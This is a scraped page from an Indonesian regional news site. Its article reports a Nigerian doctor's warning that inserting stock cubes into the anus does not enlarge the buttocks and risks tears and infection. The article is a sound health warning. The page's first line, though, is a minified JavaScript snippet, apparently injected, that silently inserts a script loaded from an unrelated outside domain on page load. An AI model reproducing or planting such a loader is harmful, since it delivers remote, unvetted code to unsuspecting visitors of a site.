(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Banyak cara dilakukan wanita untuk tampil cantik memikat. Salah satunya dengan melakukan operasi bagian tubuh dan kerap menjadi sasaran operasi plastik atau oplas adalah bokong.
Demi mendapatkan nilai seksi ada juga yang nekat melakukan cara ekstrem untuk mendapatkan bentuk tubuh idaman tersebut. Salah satunya adalah tren kecantikan di Afrika ini.
Melansir World of Buzz, seorang dokter dari Nigeria baru-baru ini mengunggah cuitan soal bahaya memperbesar ukuran bokong dengan menggunakan kaldu.
Bagaimana tidak, tren memasukkan kaldu blok ke dalam anus tersebut rupanya tengah ramai dilakukan di Nigeria.
Baca juga : Plt Bupati HSU Berharap Media Ikut Promosikan Potensi Daerah
Lewat cuitan di akun @firstdoctorr yang viral, dokter tersebut membagikan bahaya dari tren kecantikan yang tengah viral.
“Berhenti memasukkan kaldu blok ke dalam anus.”
“Memasukkan kaldo blok ke dalam anus tidak bisa membuat bokong lebih besar dan bulat serta sangat berbahaya,” lanjutnya.
Dokter ini lantas melanjutkan bahwa beberapa orang memasukkan kaldu blok atau mencairkannya lebih dulu dengan air untuk dijadikan enema.
Cairan kaldu blok ini kemudian dimasukkan ke dalam anus dengan harapan dapat memperbesar ukuran bokong.
“Kebanyakan kaldu blok mengandung garam, gula, merica, cengkeh, bawang, maizena, lesitin kedelai, pewarna karamel, pengawet, minyak kelapa, disodium inosinate, dan MSG,” jelasnya.
Baca juga : Jalur Batu Bara Km 101 Ditutup, ESDM Hitung Pemasukan Negara Rp249 M Menguap
“Pertama, itu tidak akan bekerja. Garam beryodium, MSG, dan semua bahan di kaldu blok tidak akan memperbesar lemak atau otot di bokong dengan cara apa pun.”
“Jadi itu adalah mitos. Berhenti membohongi dirimu sendiri,” tambah dokter ini mengingatkan.
Selain itu, akun @firstdoctorr juga menambahkan bahwa konsentrasi garam dalam kaldu blok dapat menyebabkan retakan pada bagian dalam anus.
“Banyak bakteri dapat masuk lewat celah tersebut ke dalam aliran darah dan menyebabkan infeksi.”
“Tolong hentikan praktek berbahaya memasukkan bahan masakan seperti Maggi atau garam ke dalam anus untuk alasan apa pun,” tutupnya.
Baca juga : Diserang Lebah Tanah “Naning”, Sopir Travel Berakhir Nyawa di Jalur Kapuas Hulu
Menurut Vice, tren kecantikan ini sendiri rupanya sudah dilakukan wanita di negara seperti Kongo dan Nigeria selama bertahun-tahun.
Pada 2018, sebuah dokumenter yang menceritakan alasan wanita melakukan tren kecantikan tersebut juga sempat beredar.
Hingga kini, cuitan yang dibagikan oleh @firstdoctorr itu sendiri telah mendapat lebih dari 2.000 likes dan sukses mengejutkan banyak warganet. (Suara.com)
Editor : Desy
KANALKALIMANTAN.COM, JAKARTA - Dalam rangka memperkuat sinergi dan konsolidasi program pembangunan infrastruktur lintas sektor dan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kabupaten Banjar menggelar… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kementerian Hukum (Kemenkum) RI mengapresiasi sarana prasarana (sarpras) di Pos Bantuan Hukum… Read More
KANALKALIMANTAN.COM, JAKARTA - Direktur Lingkar Madani (LIMA) Indonesia, Ray Rangkuti, melontarkan kritik pedas terhadap merosotnya… Read More
KANALKALIMANTAN.COM, PARINGIN – Permintaan pembangunan infrastruktur mendominasi Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan Halong yang membahas… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More
This website uses cookies.